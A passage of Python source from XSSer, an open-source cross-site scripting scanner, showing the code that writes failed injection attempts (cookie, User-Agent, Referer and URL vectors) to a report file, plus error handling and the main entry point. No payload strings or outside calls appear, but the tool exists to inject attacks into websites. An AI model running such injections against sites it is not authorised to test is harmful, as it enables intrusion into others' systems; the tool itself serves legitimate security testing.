  3729. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3730. else:
  3731. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3732. else:
  3733. if h[2] == "XSA":
  3734. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3735. elif h[2] == "XSR":
  3736. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3737. elif h[2] == "COO":
  3738. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3739. else:
  3740. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3741. fout.write("="*75 + "\n\n")
  3742. fout.close()
  3743. else:
  3744. # some exits and info for some bad situations:
  3745. if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
  3746. self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
  3747. if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
  3748. if self.options.xsser_gtk or self.options.target:
  3749. self.report('='*75)
  3750. self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
  3751. self.report('='*75 + '\n')
  3752. # print results to xml file
  3753. if self.options.filexml:
  3754. xml_report_results = xml_reporting(self)
  3755. try:
  3756. xml_report_results.print_xml_results(self.options.filexml)
  3757. except:
  3758. return
  3759. if __name__ == "__main__":
  3760. app = xsser()
  3761. options = app.create_options()
  3762. if options:
  3763. app.set_options(options)
  3764. app.run()
  3765. app.land(True)